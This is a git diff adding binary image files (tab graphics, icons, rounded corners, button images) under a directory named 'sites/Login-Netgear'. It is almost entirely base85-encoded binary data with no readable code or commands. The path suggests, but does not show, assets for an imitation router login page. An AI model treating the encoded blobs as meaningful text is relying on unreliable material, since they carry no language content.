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 SBrYWFQnFE4-emIn)blr1+0v^3 literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/qos-tab-active.gif b/sites/Login-Netgear/img/qos-tab-active.gif new file mode 100644 index 0000000000000000000000000000000000000000..132417ae7ac3a8237d3ab2ec52b7bfc33d9eda36 GIT binary patch literal 1252 zcmZ?wbhEHbJjtNU@SOn+I0OVF6eJWhy}W{gf|8=5lA@Bbs;jG;o4cpXSu$tNk|k@l z0Kwj)N3UMJ`V0i#J$nZM-`;)u1~Frl91Ve?7y^nvSr{1@{xj%+91qG93>^O%{&T7r zC^Q^w<`CA3Ik92k;dTLKuQ?tY7ai?pWD^k35O8c@=2Hrh@Z7ZINm zAoVT(vu#=}-#v5tprGG#9wwkx!~SkR_4E#pzA#xjkCjsja= zJnA+$rt!GP9n{u&1W+r*&LqD%vi>$JR@t{%Vks9Y(G4kQ)2hi!HxII%IEW3 K^b8yv7_0$qDHuQi literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/qos-tab-active.jpg b/sites/Login-Netgear/img/qos-tab-active.jpg new file mode 100644 index 0000000000000000000000000000000000000000..491995786e4f67a5ea80e1904f0563b674cb5548 GIT binary patch literal 1157 zcmex=R#4GXS5VScl9tgh z)6mv8G&V7oSF^COFtX7zGB#x7;N;}t;t}WN6*p9rQ8XkO{6E6Dh=GBTl@SaWpn#Ey znFZ)F4o)s^Mh0ex9FT;_B1sA`FflSSGqEtUva+xMjj097F|Y`-3Mm>ovIz$!vMUve z7&T5@$f4}C@t|nX#SbdRNkvVZTw>x9l2WQ_>Kd9_CZ=ZQ7M51dF0O9w9-dyoA)#U6 z5s^{JDXD4c8JStdC8cHM6_r)ZEv;?s9i3g1CQq3GGAU*RJ2VdF$b$$4{OPfBE|D`;VW$1c6Rw zVqsxsVFx*xk*OSrnFU!`6%E;h90S=C3x$=88aYIqCNA7~kW<+>=!0ld(M2vX6_bam zA3?4LJDNB*H<9INxSQcl{(pc$kb^;yVFoiJ(Dj0h%z}*nZ!z#NGXgoxf(-Ty-}Y+z zZLBrAc<K8-2LxQ{by)pkRMnJ*RFbb&G6;)ylG*t zPIFIi@#3)d-^vhq@jt^8;ne>OF~a{D97P!O8n_rV7#1*Lr?j%=KXLB)&#;dFKf{7q z3?}tIS#H)}XZg=?!IdEzmnN`*T(gery})T5 zP$$!}jsF=GW}pA{;6KAJ&IQcw{~0FuPXAlr|Cc3zbr&9|axtu2Q-4D3^S>ST|C%zG H|K9`v4>Q0f literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/qos-tab-hover.jpg b/sites/Login-Netgear/img/qos-tab-hover.jpg new file mode 100644 index 0000000000000000000000000000000000000000..4d1b02ce1206fc041a63a655e7194e5433411a67 GIT binary patch literal 1010 zcmex=R#4GXS5VScl9tgh z)6mv8G&V7oSF^COFtX7zGB#x7;N;}t;t}WN6*p9rQ8XkO{6E6Dh=GBTl@SaWpn#Ey znFZ)F4o)s^Mh0ex9FT;_B1sA`FflSSGqEtUva+xMjj097F|Y`-3Mm>ovIz$!vMUve z7&T5@$f4}C@t|nX#SbdRNkvVZTw>x9l2WQ_>Kd9_CZ=ZQ7M51dF0O9w9-dyoA)#U6 z5s^{JDXD4c8JStdC8cHM6_r)ZEv;?s9i3g1CQq3GGAU*RJ2VdF$b$$4{OPfBE|D`;VW$1c6Rw zVqsxsVFx*xk*OSrnFU!`6%E;h90S=C3x$=88aYIqCNA7~kW<+>=!0ld(M2vX6_bam zA3?4LJDNB*H<9INxSQcl{(pc$kb^;iVJ0&p(Dj0h%z}*nZ!z#NGXgoxf(-TyU-sIa zy7)%-=Gw$GLrs-qoa#&s>c3g%|M}(kpP}w3gM7l~{|xgz?BCy5!2Cw6{_{)rzrRHo zYMajgt5x{Vus^ARe?#PdhVx70zrP7!{Kjqn^Gox;zg-M=2h;yE*iERvztMsHhR%P6 z=a=|@f74)~v%!2)4c2qb|2baU|MjH(gazCp3;~P|tPHp)_W1$q#moLPoUpq7Z>Rbv t5yqqjE(Q&T1x&c8&#xHXmE8Zy9`&E$y2?MN1|7V{GdjrCI>`UO2>|8&XU6~l literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/qos-tab-nonactive.gif b/sites/Login-Netgear/img/qos-tab-nonactive.gif new file mode 100644 index 0000000000000000000000000000000000000000..31ebc332c9a8c3c9cd402825fda0b41d22dfcbeb GIT binary patch literal 1052 zcmZ?wbhEHbJjtNU@SOn+I0Pgl6ciLRH8l+l4J{ol9lgAQg1myFqLQ*eptu-_ii@kO zt0Brq$=c$IM;FS+U{aVO4JBIGqT?$HyyWo#*L<8$CUp zshfOHCd~Nx`Ec82xw|1IFE2a$E{=N}Z2J1TVeH{~XM@b%-d4|jeDAJ<`TN`Z>d*7( k{W1OcXm!7`{o0zJFP@#Vm;NGUyQ`@uWVQ8uDFFs+0Fh^ikN^Mx literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/qos-tab-nonactive.jpg b/sites/Login-Netgear/img/qos-tab-nonactive.jpg new file mode 100644 index 0000000000000000000000000000000000000000..00a4a05f2216f8a0b490f4185633b1853011811d GIT binary patch literal 917 zcmex=R#4GXS5VScl9tgh z)6mv8G&V7oSF^COFtX7zGB#x7;N;}t;t}WN6*p9rQ8XkO{6E6Dh=GBTl@SaWpn#Ey znFZ)F4o)s^Mh0ex9FT;_B1sA`FflSSGqEtUva+xMjj097F|Y`-3Mm>ovIz$!vMUve z7&T5@$f4}C@t|nX#SbdRNkvVZTw>x9l2WQ_>Kd9_CZ=ZQ7M51dF0O9w9-dyoA)#U6 z5s^{JDXD4c8JStdC8cHM6_r)ZEv;?s9i3g1CQq3GGAU*RJ2VdF$b$$4{OPfBE|D`;VW$1c6Rw zVqsxsVFx*xk*OSrnFU!`6%E;h90S=C3x$=88aYIqCNA7~kW<+>=!0ld(M2vX6_bam zA3?4LJDNB*H<9INxSQcl{(pc$kb^;iVJ0&p(Dj0h%z}*nZ!z#NGXgoxf(-Ty-!v9G zOHJy&P_}@*vhY7cVZ9cE&5r*JJN8dykc+9m6Mw3KU(f!X{!<6`>GI#jKP_NB-T%A$ zX8_~V@xMp^LKvv1H9df>C;rvszZV_&7BDq%F=#O0qKq||-SoeD{(G^2 lJ%G`Hl|h677bQ7`ak2QXCI1;p0+?6eG!JYS&nbrgHvyHGID-HH literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/refresh-icon.gif b/sites/Login-Netgear/img/refresh-icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..64eb4512963bf3781260d3ecc19cafc77825e841 GIT binary patch literal 189 zcmZ?wbh9u|MG7tcTCWe$KUEjC+=7zNw3p3XOwKP_52Qq-_(-T&t z$FBey8y&n5XtE9i5Pn#iR?;+ zB1Vl97jh^&Z9FI%bn%0VaZ*teCzqJGgrtbvx}>nyN9P&a7bua zctm7Wa!P7idPZheaY<=ec|~Pab4zPmdq-#2q{&mJPMbbs=B!1Fmn>bje8tLDn>KIR zx^4T8ox2VlK63Qf@e?OcUAlbb>b2`PZr*zM=<$=M&z`?{`Re1R&tJZN`~KtSFF~M_ znOInuS=d2NW@IV{VrD@WRz*WLA;&=W#6n>uqec!9r-=(U9^_Ou4*DRPRCJL`OvU7( z>PL{P!Hy=*%}r!E8t!Jelm8!J5aeJGVGvqM4A_mr65-g)Cz*1vphcx>i1MVn&I$KQ|fKeCcKurJ(d&$@`W^K3NV&fRe|{b;h< zd~R>ulj({5x>j{|TW@lS2X5MXF7kR{u6f#i;fo4;Js)}|Te?e%{AbuwecgP??prT6 zI4l0VlG1!z-QsW7{ab%uPhD*-t2tA*T{?!zme(|~SHd99-N~=ePh{Cj&!s6R3w`e{ RET11`K0hi~q^Yy4h)gP%%%<}RjY_A~ zs`ZM^YPa03_X`e-$K3Ms-)#GRR`t+xUirUun;zevYb*csc$<)LMq3aAgEatX C7)Zka literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundedcornr_637010.gif b/sites/Login-Netgear/img/roundedcornr_637010.gif new file mode 100644 index 0000000000000000000000000000000000000000..fcc77551184abfbfc6c390ba8ac234ae209849da GIT binary patch literal 3867 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 literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundedcornr_802784.gif b/sites/Login-Netgear/img/roundedcornr_802784.gif new file mode 100644 index 0000000000000000000000000000000000000000..2c3e1af0be3906c089b1f6ced0a06d85b20b076c GIT binary patch literal 1740 zcmeH`{ZrBh9LK--h(@->Zgl3-W^2lV5S`*xYP!qEoO8QrX^Qp$x*SbPtSldhAi*-- zDN$;Qiup*SqUmxwgU69`g*a z0oH&mKp>E@v9XDXiK(d>7z~C$AW$e227_5!@7`_m6#{`kyEwVHIDhZz>f!0(9~cyL zJosef$(Y!fGiT4>Ho@cYc>HhY&nNtzkVw2lq1?JjrBi7%#%)GUZcZLEpUdMlH$QD_ zYwzrSF6yzZ{kfy?!+|DV?02nSL*u*>rwxeqnxLabaoG6~&73gHo{>t6Qo* zs#R;(HS0R9PN&y>y#3So)WH90V6Vmm1ONu$z}A+np8&uHz+hqH$9>pN21DVI-P~dU z^)vf`2Q)7A1$~!u{CM|ccGn#{pG+HnUa637byX1}Of2ikLq&@i{={-I3qzRi6%sl9 zgJO^z3fE>%ftv2B?R!YS;44V)N$s;9AL zjDMl3ZbD&E4CZ5LXSQwN2%SvH5@z+sBWZ4R z0Z-$6$a{|P>+yr7KUM{ctsCUSbrFI>M2qYE4rtKxHxoXHs0QOTvpvYxYr0*BA2!__!#%nUbzP06*fs7dp?QX4-cgQd@n`P(nfaII__#Vw z=lY^8&gKOEdQZSGHOlrfa|{)Q^N#B{Yu5$`^T(jFv?{`bNZ3lQii*vbk+17XUjy3|wl!UQz5| zilp>&&01ANO`GOe3*kOUxxUptfbD5|m5jTFhM-Y>$y3puNcZWxVS3E;?bC&t878SuBP*m@ zX=h9FgSB(zoZu_(|LjR?INDu_)Xr8&kS&W%Z)>kEwN_ba<>q@^)JtX1x9cA|zrCYd zc|kzxygLMT8>>TMgpGekadjK2anka}+9dU$2c+L^U#s~Pr%tb3;4gcu$$T&Bb*mDB XVM8seGw5||%LW5b9qnyo1RVMg&Ngfi literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundedcornr_806183.gif b/sites/Login-Netgear/img/roundedcornr_806183.gif new file mode 100644 index 0000000000000000000000000000000000000000..6811cdfe499332530ada4b6dcc7b0d32193c86cf GIT binary patch literal 330 zcmV-Q0k!@|Nk%w1VZHzy0KxzO{O0`p_Wb{ObJt`uzOz`~U#|A^8LW000L7 zEC2ui0KNbm000C2c)HX6Fv>}*y*TU5yIdescw}jwXnKxCs1$G!$n{2tgo)I zu&0Uywzs&sy1Tr+zQ4f1!o$SH#>W83%FE2n&d<=%($mz{*4NnC+S}aS-rwNi;^XAy z=I7|?>g(+7?(gvN^7Hid_V@Vt`uqI-{{H|23LHqVpuvL(6DnND(BFZE5bY_5NKxK` ciWu32$jA`UoQsDYLw@^sQKZRhE)oC$JEhmd`~Uy| literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundleft_apply.gif b/sites/Login-Netgear/img/roundleft_apply.gif new file mode 100644 index 0000000000000000000000000000000000000000..16ee41c6ddd172ccd34c11b292d767ba00af553d GIT binary patch literal 769 zcmV+c1OEI+Nk%w1VJra_0OJ4ve5yQ*zC?t!Je0;ngt9!8!bF6wJdDCbjJiCO%0vJF z{{R30000000000000000A^8LW000UAEC2ui04xC(000F3P)U`ly*TU5yZ>M)j$~<` zXsVvl;J$Dy&vb3yc&_h!@BhG{a41v|kI1BQ$!t2GIwN#Sty-_xYvHi%a=+d%cq}fH z&*n6Gt!}g5?l^oduhZ}LJbth5^Z$NlbV^B zl$)NMpPiSbpr)j!s;R7_uA;D^vZ$}KtF^STxwfskx4ylMk;9gVg}?CdeU#r_Y@~d%}DvAYD-eN0S;|ij=9+rcj?sbxJjA)u~pqV%>VRt5&aE zzlse@7OdH^XUn1;TeNLcw{YLejZ1f~-MV=1>dnh{uiw6a{|XLFc(CEZhz~0k(6%vB z$BZ9Kj!YS{<;j;TW8SQ}bLP*SL3<8OdbDZLs7t3lt-3Yq*Q*5(KtP~qZQ8bT)+46zyJRL2CyjLfCL7pfB^_5sNjMOHt67k5Jo8BgcMe2 z;e{AxsNsejcG%&801y!3h$5Cq;)y1vh~kPWw#ed(F2)Gsj55|pOp zKE^140RRwbWRXZ7sbrE&F6m^GP(CSTlvGY>WtCW7sb!X2Zs}#0V16lPm{d-n0Fr1D znI-^hwyEZuY{KbgoOI4Uy5asPDDcVz0bfl&Xh|aWB zooT7N($jROr|roUAnF35H(=eP#ApZ%;Sf;#$->CM@Si~kMyjW$>m_fS z!#R1`nOPS3ueO{tPCq}_u9->p*X9)gvjrw;#h%)-^78V4#a?s0wywImI%0Fy-BVjv zhp!iu>yY){w&v#MjLWNHPj6d$dwap-Q**tyue-au;`6J!r?;=azrTT*TkQ3N#^%Gk z0@`I0W_)~fY=XRZnU7`B)05MTlke5++?;lPj(s87ngf4j$6CS^y%SN;nQU{ zyUpI--d6nh-rC*f@9*zxW|r66WAX9vvB}Eu>-Ja{KiDd5Fu|{O*Vk7!)@PqTSG)WB zy9fKb|MUCT?fLoX#rf6#=j-~x3y`~Lp^@%i=r^ZWPz|Ifgt@t}c4EaO2V zhuVw;W^R)g51IwsG#<8ygk?Nzl}KChuuZ1y#lv=mHjPIeTq*&JnADeLEb7u&_adp= zV3WqWxG_1YcJR=r-gTkOH>^#|Cr-)uM{mi=bq3ANR4 zHk~nh{but8H|@7uu827_Y`qb;I(OThyw|zgAJl2*?Re6cowxJFyw!QT-mH6_xBJ6B z?fgAo&aKvC{PAq{`+a}Dy?(!+fnDdr0T%I`4+lBa*L*m{WB%p?1G9j@$0I`FJ|B;Y zrT2V1CRKjs<8irmo=+!~ru%$4skXf5(zT?Qg%`E;z3H{Z1jfLI6X>^R?ga)qEF!`~7|cyWWonE#i4U9(Jg&`|+s9 K{9J_tgEauabCGJ$Dy>`c&_h!@BhG{a7Zi~kI1BQ$y_!D(5Q4uty-_xtai)odcWYXcuX#v z3sCex%}%@5?>2lcugC9nygkp~`}Kf*fq#O9golHPhKh)bi)aOql53NZl$Vy7m7AEH znw_AZqMoForK6^)sH>-~s;;cBvaz(Vk+-dFX%FE0J3D3~c z($mz{*4NnC+S}aS-rwNi;^XAy0SN);>FDb1?CS_VxJm`uF?!{Qv#}_8SP0 zpumC%4=OasFkwT75En*lD6t~NixV?i)QEAT$BzCF0~jzMlH|yeC{L<1$uecjl`dn# zocXe*Oq(=s>deU#r_Y@~djcIQv}n+yM1z(b$+W4{r%b*<$Y~R0S0gnw#c(7r?hzln^thh1b z$BQF7mJE5a<;s{TYrecWGw08qLsKp*ptR}Js8g$6&APSg*RW&Do=v;9?c2C>>)tJZ zLGRzbg99Hfyg2dW#*-souDm((=gy-;pDw*R_3PHNW8bb_Irs0~!HW-1e!The=+CQ9 zA3ZpO_weJ(pHIKO{rmXy>)+46zyJRL2FNJjfCLsuz<~%RsNjMOHt67k5Jo8BgcMe2 